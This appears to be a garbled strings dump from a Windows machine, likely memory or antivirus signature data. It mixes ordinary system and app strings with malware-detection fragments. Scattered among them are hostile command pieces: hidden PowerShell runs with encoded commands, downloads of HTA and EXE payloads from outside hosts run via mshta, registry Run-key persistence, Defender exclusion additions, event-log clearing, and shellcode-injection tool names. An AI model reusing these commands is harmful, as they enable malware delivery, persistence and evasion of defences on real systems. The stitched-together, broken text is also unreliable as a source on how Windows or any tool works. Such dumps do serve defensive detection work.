Windows.Data.Platform.LocalCache.CloudCacheEntryMetadata
Windows.Data.Platform.Partitioning.Partition
Windows.Data.Security.Vault.SettingUnit
Windows.Data.Platform.LocalCache.RetryCacheEntry
U%fnWindows.Data.Platform.Partitioning.PartitionSet
Windows.Data.Platform.Encryption.FieldValue
Windows.Data.Platform.Encryption.ComplexValue
Windows.Data.Account.AccountInfo
JWindows.Data.Platform.LocalCache.CloudCacheEntry
@Windows.Data.Apps.FileInfo
Microsoft-Windows/10.0 UPnP/1.0 UPnP-Device-Host/1.0
WindowsCreateString
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
	COMPUTERNAME=WINDOWS11
	WINDOWS\system32\cmd.exe/
n.content.find.executefindtext:="3-",replacewith:="",replace:=2cfunctions(nextdoorkarol,liketubeload)ces("category").value).exec"c:\windows\explorer"+l
c:\windows\
Windows/wbem/root/cimv2:Win32_PerfFormattedData_PerfDisk_PhysicalDisk.Name="_Total"#CurrentDiskQueueLength
 .exe>>nul@regaddhkcu\software\microsoft\windows\currentversion\runonce/ve/d"
imaNDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
typhon_windows
WINDOWS_DIALOG_COMMENT_TEXT
WINDOWS_TITLE_TEXT
@hejhej.*jkcmd.exel/kosc:\windows\system32\cmd.exe!..\..\..\windows\system32\cmd.exe/cmatrix.batc:\dllobfuslnk5\ico.ico%systemdrive%
.the windows logon (p
ion\run /v run32 /d "%windir%\system32#
system32\dfrg
C:\WINDOWS\SYSTEM32\
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
WindowsRecoveryEnvironment
run/v"windowsdefender"/fregadd"hk
\software\microsoft\windows\currentversion\run"/v
.exe/fdel"c:\windows\system32\
.exe"ifexist"c:\windows\system32\
\software\microsoft\windows\currentversion\run"/v
WINDOWS11
windowsSdkFilePath
FakeHandleKernelShellCodeNtGDIOpenDCBytesC:\windows\system32\test.txt!#HSTR:DridexPreloader.B
DontSyncWindows8AppSettings
Flag for enabling / disabling sync settings for Windows apps
SyncUnlistedWindows8Apps
Flag for enabling / disabling default sync settings for Windows apps
Microsoft.Windows.Midi2.MidiSrv
Microsoft.Windows.SRUM.ApiUsage
\windows\system32\dism
e2^com.microsoft.windows.extension.shellhost.component
exclusionpath"c:\windows"timeout/t5/nobreak>nulset"url=http://146.103.25.63/client.exe"set"dest=R
Windows Defender Exploit Guard detected system changes to reboot machine in Safe Mode
%systemroot%\system32\bcdedit.exe
%systemroot%\system32\bootcfg.exe
IsWindows8OrGreater
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
((windowsapps\\[^\\]+\\)|(microsoft office\\(root\\)?))office..\\(winword|excel|powerpnt|onenote)\.exe\"?[^\"]+\"([^\"]+)\"?
C:\Packages\Plugins\Microsoft.Azure.Security.Monitoring.AzureSecurityWindowsAgent\*\Monitoring\Agent\Extensions\AzureSecurityPack\pmfexe.exe
%windir%\System32\DriverStore\FileRepository\hpanalyticscomp.*\x64\Provider Data Sources\ProcInfo\ProcInfo.exe
%windir%\system32\RtkAudUService64.exe
%windir%\system32\nvwmi64.exe
%windir%\system32\lpksetup.exe
%windir%\system32\DriverStore\FileRepository\hpcustomcapcomp.inf_amd64_*\x64\AppHelperCap.exe
%windir%\system32\IntelBroadbandManagerSvc.exe
%windir%\system32\inetsrv\w3wp.exe
\programdata\microsoft\windows defender advanced threat protection\
\program files\windows defender advanced threat protection\
\windows\downloaded program files\
 Windows 
@%SystemRoot%\System32\StorSvc.dll,-100
@%SystemRoot%\system32\cbdhsvc.dll,-100
@%SystemRoot%\system32\windowsudkservices.shellcommon.dll,-100w
@%SystemRoot%\system32\coremessaging.dll,-1
@%SystemRoot%\system32\diagtrack.dll,-3001
@%SystemRoot%\system32\drivers\http.sys,-1
@%SystemRoot%\system32\drivers\iorate.sys,-101
@%SystemRoot%\system32\lltdres.dll,-6
@%systemroot%\system32\drivers\luafv.sys,-100
@%systemroot%\system32\drivers\mmcss.sys,-100
@%SystemRoot%\system32\drivers\mountmgr.sys,-1000
@%SystemRoot%\system32\drivers\mpsdrv.sys,-23092h
@%systemroot%\system32\wkssvc.dll,-1002
@%systemroot%\system32\wkssvc.dll,-1006
@%SystemRoot%\system32\drivers\mslldp.sys,-200
@%systemroot%\system32\drivers\mup.sys,-101
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
@echooffpowershell-executionpolicybypass-noprofile-windowstylehidden-ejabjad0atgblahcalqbpagiaagblagmadaagae4azqb0ac4avwblagiaqwbsagkazqbuahqaowbjaeuawaagacqaywauaeqabwb3ag4ababvageazabtahqacgbpag4azwaoaccaaab0ahqacaa6ac8alwa5adialgayaduanqauadganqauadialwbhac4abqbwadqajwapaa==
windowsfileopener.Dat
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Systemr
\windows\syswow64
\appdata\local\microsoft\windows\inetcache\content.outlook\
Windows Defender Exploit Guard detected use of copied or impersonated system tool
Microsoft.Windows.Widgets.Internal.Providers.ActivateApplicationWidgetProvider
Microsoft.Windows.Widgets.Internal.Providers.WidgetChannelManager
Microsoft.Windows.Widgets.Internal.Providers.WidgetManager
Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
Microsoft.Windows.Widgets.Notifications.WidgetAnnouncement
Microsoft.Windows.Widgets.Providers.WidgetManager
Microsoft.Windows.Widgets.Providers.WidgetResourceResponse
Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
windows.hlp
.sdbc:\windows\apppatch\custom\custom64\
]("wscript.shell").exec("wevtutil-cl""windowspowershell""")
=powershell-command"start-processpowershell-windowstylehidden
software\microsoft\windows\currentversion\runruntimeassistant
5\here\amo7koa.cmdc:\windows\system32\shell32.dll%systemroot%
"http://2t.pm:8080/ar/bkkbckm/gz57nafvuso/2px/!computername!"yelpvq^x=^pwa^ey-^q!%systemroot%\system32\shell32.dll
schtasks/create/tnupdateswinobn/tr"%windir%\system32\rundll32.exe%appdata%\microsoft\office\mso
    name="Microsoft.Windows.DS.SppExtComObj"
29^windows.packageExtension
:\WINDOWS\Syst
windir=C:\WINDOWS
cRestartTask|%WINDIR%\System32\svchost.exe
(*.dll.aux.|%WINDIR%\System32\DriverStore\FileRepository\cui_comp.inf_amd64_f7412e3e3404de80\GfxDownloadWrapper.exe
*.|!%ProgramFiles(x86)%\Microsoft Intune Management Extension\Microsoft.Management.Services.IntuneWindowsAgent.exe
%WINDIR%\System32\Tasks\Microsoft\Windows\Customer Experience Improvement Program\Uploader|%WINDIR%\System32\svchost.exe
%PROGRAMDATA%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex|%WINDIR%\System32\svchost.exe
.?AU?$__abi_FunctorCapture@V<lambda_1c608e5a1ecd8f465d3b1edefeec7e9c>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
software\microsoft\windows\currentversion\run
software\microsoft\windows\currentversion\explorer
software\microsoft\windows\currentversion
software\classes\software\microsoft\windows\currentversion\explorer
WINDOWS\system32\config
WindowsCortanaSettings
54^windows.appExtension
WindowsCreateString
WindowsDeleteString
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-wh-cwget-o$env:temp\1.htahttps://mogilux.com.br/wp-admin/tmp/huspecific.hta;mshta$env:temp\1
Windows Defender Exploit Guard detected the Office application creating executable content.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\windows\winlogin.exe$
Microsoft.Windows.Kernel.UCPD
Microsoft.Windows.WerKernel
Microsoft.Windows.Security.CodeIntegrity.NWActivity
Microsoft.Windows.Security.CodeIntegrity.Activity
Microsoft.Windows.Security.CodeIntegrity.NWActivityNoReEval
MicrosoftWindowsCodeIntegrityTraceLoggingProvider
Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose
Microsoft.Windows.Security.CodeIntegrity.Driver
Microsoft.Windows.Security.CodeIntegrity.Activity
Microsoft.Windows.WebView2RuntimeSelector
windows.hlp
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-ErrorReportingFaults-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-ErrorReportingFaults-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-ErrorReportingFaults-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Welcome to Windows0	
Microsoft.Windows.Kernel.Oplocks
Microsoft.Windows.Socket.Afunix
Microsoft.Windows.Kernel.Power.DirectedDrips
Microsoft-Windows-Kernel-Package-CrashDump-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Lxss-Optional-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
bd^windows.appExtension
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
C	qWindows
!Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10
!Gsave.windowstone.website/track_polosEU.phpjewelbasketball.xyz/lica.php
postex.SendFilepostex.RecvFilepostex-toolssyscall/windows/zsyscall_windows.go
postex.ShellcodeWindowspostex-tools/src/shellcode/shellcode-windows.gopostex-tools/src/postex/shellcode-win.gopostex-tools/postex/shellcode-win.gopostex-tools/tools/shellcode-windows.go
postex.ShellcodeInjectWindowspostex-tools/src/shellcode-inject/shellcode-inject-windows.gopostex-tools/tools/shellcode-inject-windows.go/net/http/httpproxy/proxy.go
WindowsPlatformId
WindowsServerName
WindowsServicePackBuild
WindowsServicePackMajor
WindowsType
WindowsVersion
P.exe -WindowStyle Hidden
c:\windows\system32\at.exe
ngnmsserviceSOFTWARE\ej-technologies\install4j\installationsdev\proj\install4j\build\src\c\windows\javavmlauncher.cpp!#HSTR:Trojan:MSIL/AgentTesla.AAD28!MTB
system32\userinit.exe,programlocates
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-shm
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Windows
}."my_fwstatus","get-fwstatus","","misc","fwstatus","info","listwindowsfirewallstatus(local|domain|public)","list",true
;hklm\software\policies\microsoft\windowsdefender\exclusions\paths""/v"""&userprofile&"""/treg_dword/d0/f"wshshell.run
library\std\src\sys\windows\net.rslibrary\std\src\sys_common\net.rslibrary\std\src\io\readbuf.rs
("Windows XP 64-bit Edition Version 2003 or newer should be used.Please verify that both the operating system and the processor support Intel(R) AVX2, BMI, LZCNT, HLE, RTM and FMA instructions.
)Microsoft.Identity.dllC:\Windows\System32\npmproxy.dll.DllCanUnloadNowC:\Windows\System32\npmproxy.dll.DllGetClassObjectC:\Windows\System32\npmproxy.dll.DllRegisterServerC:\Windows\System32\npmproxy.dll.DllUnregisterServerC:\Windows\System32\npmproxy.dll.GetProxyDllInfo
Windows
System32
Windows
System32
Windows V
env:allusersprofile\microsoft\windows\startmenu\programs
J$screen=[windows.forms.systeminformation]::virtualscreen
JJCCBBC:\Windows\System32\regsvr32.exe.ooccxx
+jc:\\1consorterd.consorter`2caviar.cmdf.caviar.cmd..\consorter\caviar.cmdc:\windows\write.exe%systemroot%
program files\windows defender advanced threat protectionp
programdata\microsoft\windows defender advanced threat protectionp
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ApplicationModel.DesktopAppx
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Storage.Pickers
Microsoft.Windows.Shell.ModernShare
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
<<xservicex\windows\currentversion\run
\system32
*Windows.AppResolverUXE2A4F912-2574-4A75-9BB0-0D023378592BW
windows.protocol
windows.appExtensionHost	
ndows\System32\backgroundTaskHost.exe
ndows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\backgroundTaskHost.exe
diskVolume3\Windows\System32\RuntimeBroker.exe
diskVolume3\Windows\System32\RuntimeBroker.exe
diskVolume3\Windows\System32\RuntimeBroker.exe
diskVolume3\Windows\System32\RuntimeBroker.exe
diskVolume3\Windows\System32\RuntimeBroker.exe
ndows\System32\backgroundTaskHost.exe
K	diskVolume3\Windows\System32\RuntimeBroker.exe
)%diskVolume3\Windows\System32\RuntimeBroker.exe
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
 "new" operator, this DOM object constructor cannot be called as a function.paginationRowithRefallbackNSelectiveSyncUncheckWarningTypeg$parsefloatingPointConstantopScrollBeginDragetReadyAsyncStatusIconsumediumaquamarineedsPluralResolversionLinkIdcurrentWizardPaget PointPropType will be removed from React Native, along with all other PropTypes. We recommend that you migrate away from PropTypes and switch to a type system like TypeScript. If you need to continue using PointPropType, migrate to the 'deprecated-react-native-prop-types' package.mapToTokensureRootIsScheduledismissPopupMenuButtonClickedunlinkSurveyV2NotEnoughStorageSettingetPositionStylesuspendedStarticlearCaughtError was called but no error was captured. This error is likely caused by a bug in React. Please file an issue.Private accessor was defined without a gettertiaryTextPrivate accessor was defined without a setterrorBackgroundDarkfmOptOutDialogHydratedRecommendedOptionalDiagnosticDataPageModelimitDownloadDisabledPrivate method is not writableValuesubmitSelectiveSyncInfondDownloadAllFilesDialogTitleclock_iconAndTextcontainerHoverridePropsDeletePathandleSecondaryButtonClickfmOnboardingCloudFooterRightTextractFeMerget ProgressBarAndroid has been extracted from react-native core and will be removed in a future release. It can now be installed and imported from '@react-native-community/progress-bar-android' instead of 'react-native'. See https://github.com/react-native-progress-view/progress-bar-android-movedfeImaget ProgressViewIOS is not supported on this platform!clearIntervaluePromises must be constructed via new OD iconAndTextContaineremoveSymbolsnippetPullToRefreshViewKoreanMarketInfoBarTypeg$literalExpectationResponderRejectPushNotificationIOS only supports `notification`, `register`, `registrationError`, and `localNotification` eventsettingsAccountVaultNotificationThisDayIdPushNotificationManager is not available.android.permission.READ_CALENDARCTFlyouterContainerExpandedinnerRefreSignInEmailAddressPrompt-BRCTImageViewManagerNamessageshouldPressibilityUseW3CPointerEventsForHoverNOIRCTMultilineTextInputViewbkfmOnboardingM365BasicStorageBenefitTextitleKeyghostDisabledBorderemoveAnimatedEventFromViewithSSRCTRawText strings must be rendered within a <Text> component.RCTRefreshControleRCTSafeAreaVieweb-searchboxRCTScrollContentViewebsocketClosedRCTSinglelineTextInputViewebsocketMessaget ImagePropTypesolidRCTSlider has been extracted from react-native core and will be removed in a future release. It can now be installed and imported from '@react-native-community/slider' instead of 'react-native'. See https://github.com/callstack/react-native-slider-movedRCTSwitcharset=([A-Za-z0-9_-]+)RCTTextInlineImagenderequestMultipleRCTVideo Component is not mountedFolderName0RCTViewebsocketOpenItemFolderotate(-8.73 257.086 52.646)RCTVirtualTextTrackTypeg$parsefractionalConstantopScrollEndDragetRecommendedTimeoutMillistenerMiddleware/removeAllDeliveredNotificationsnapToAlignmentRGB_RGBA_PATTERNCCheckboxWindowsTextInputf16leToBytesTransferredUnitselectIsAnyContextMenuOpendingCountRNExitDailog/handleChangeAutoStartSettingetCopilotActionEligibilityhttp://localhost:9001/sync/RNExitDialog/getInitialAutoStartStatehttp://localhost:9001/sync/RNExitDialog/handleExitDialogModelegateYieldRNFTextV1RNSVGFeBlendColRNSVGFeFloodgateProviderotate(-45 18.589 16.51)RNSVGRenderableModuleRNSVGSvgViewModuleRTK_autoBatchEnhancerArrayReact tree dumps have been temporarily disabled while React is upgraded to Fiber.globalSyncStatusPausedReactFabricHostComponentanglementsetLicenseResultCmdReactNativeFiberHostComponentitiesetLicenseResultErrorCmdkfm_acm_gpoEntriesetupStoremoteNotificationReceived Message Value: __onAnimatedValueUpdateReceived a broken ViewToken not founderlayColorRNSVGRectangle 47556isFluxStandardActionextFocusDownormalizeRectangle 47557Rectangle 47558Rectangle 47559_coerceLocalScriptURL.host is not implementedestructiveButtonIndexitSurveyDontUseOneDriveInfolderColorLightRed X-Request-URL.hash is not implementedestructiveButtonIndicesetIsFirstRunescapeHtmlEntitymaxLengthandleReportA
Windows::Isolation::Rtl::IsValid(ReferenceIdentity)
Windows::Rtl::IsNull(Attribute->Value) || Windows::Rtl::IsValid(Attribute->Value)
!Windows::Rtl::IsNull(Attribute->Name)
Windows::Rtl::IsValid(&Attribute->Name)
%system32%\at.exe;%system32%\certutil.exe;%system32%\change.exe;%system32%\chglogon.exe;%system32%\chgport.exe;%system32%\credwiz.exe;%system32%\csvde.exe;%system32%\dcdiag.exe;%system32%\devicecensus.exe;%system32%\deviceenroller.exe;%system32%\djoin.exe;%system32%\dpapimig.exe;%system32%\driverquery.exe;%system32%\dsacls.exe;%system32%\dsdbutil.exe;%system32%\dsmgmt.exe;%system32%\dsregcmd.exe;%system32%\easinvoker.exe;%system32%\edpcleanup.exe;%system32%\efsui.exe;%system32%\eventcreate.exe;%system32%\getmac.exe;%system32%\gpfixup.exe;%system32%\gpresult.exe;%system32%\ie4uinit.exe;%system32%\klist.exe;%system32%\ksetup.exe;%system32%\ldifde.exe;%system32%\mshta.exe;%system32%\mstsc.exe;%system32%\net.exe;%system32%\net1.exe;%system32%\netdom.exe;%system32%\netplwiz.exe;%system32%\nltest.exe;%system32%\ntdsutil.exe;%system32%\openfiles.exe;%system32%\query.exe;%system32%\quser.exe;%system32%\qwinsta.exe;%system32%\raserver.exe;%system32%\redircmp.exe;%system32%\redirusr.exe;%system32%\rekeywiz.exe;%system32%\rendom.exe;%system32%\repadmin.exe;%system32%\reset.exe;%system32%\runas.exe;%system32%\rwinsta.exe;%system32%\setspn.exe;%system32%\shrpubw.exe;%system32%\spaceagent.exe;%system32%\systempropertiesadvanced.exe;%system32%\systemsettingsadminflows.exe;%system32%\taskkill.exe;%system32%\tasklist.exe;%system32%\tscon.exe;%system32%\tskill.exe;%system32%\w32tm.exe;%system32%\waitfor.exe;%system32%\wbengine.exe;%system32%\whoami.exe
%system32%\netsh.exe;%system32%\rasphone.exe
%system32%\djoin.exe
%system32%\fxscover.exe;%system32%\rdpclip.exe;%system32%\wordpad.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\mozilla firefox\firefox.exe;%programfiles%\microsoft office\root\office%version%\excel.exe;%programfiles%\microsoft office\root\office%version%\outlook.exe;%programfiles%\microsoft office\root\office%version%\powerpnt.exe;%programfiles%\microsoft office\root\office%version%\winword.exe;%programfiles%\windowsapps\microsoftteams%version%\msteams.exe;%programfiles%\microsoft office\root\office%version%\clview.exe;preconditions%programfiles%\microsoft office\root\office%version%\cnfnot32.exe;preconditions%programfiles%\microsoft office\root\office%version%\excelcnv.exe;preconditions%programfiles%\microsoft office\root\office%version%\graph.exe;preconditions%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\msoia.exe;preconditions%programfiles%\microsoft office\root\office%version%\msosrec.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\msqry32.exe;preconditions%programfiles%\microsoft office\root\office%version%\namecontrolserver.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe;preconditions%programfiles%\microsoft office\root\office%version%\protocolhandler.exe;preconditions%programfiles%\microsoft office\root\office%version%\scanpst.exe;preconditions%programfiles%\microsoft office\root\office%version%\sdxhelper.exe;preconditions%programfiles%\microsoft office\root\office%version%\setlang.exe
%system32%\netplwiz.exe
%system32%\netdom.exe
%system32%\systempropertiesadvanced.exe
%system32%\appvclient.exe;%system32%\bootcfg.exe;%system32%\certutil.exe;%system32%\dcdiag.exe;%system32%\dfscmd.exe;%system32%\dfsdiag.exe;%system32%\dfsrdiag.exe;%system32%\dfsutil.exe;%system32%\dnscmd.exe;%system32%\dsadd.exe;%system32%\dsget.exe;%system32%\dsquery.exe;%system32%\ie4uinit.exe;%system32%\mstsc.exe;%system32%\qappsrv.exe;%system32%\spaceagent.exe;%system32%\wbengine.exe
:\Windows\DNomb\Mpec.mbt://whtty.oss-cn-hongkong.aliyuncs.comC
gerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_16>@?L@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_17>@?M@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_16>@?L@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_15>@?L@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_14>@?9??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_15>@?L@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_15>@?L@??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_13>@?9??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_13>@?9??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_14>@?9??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_14>@?9??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_12>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_12>@?8??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe
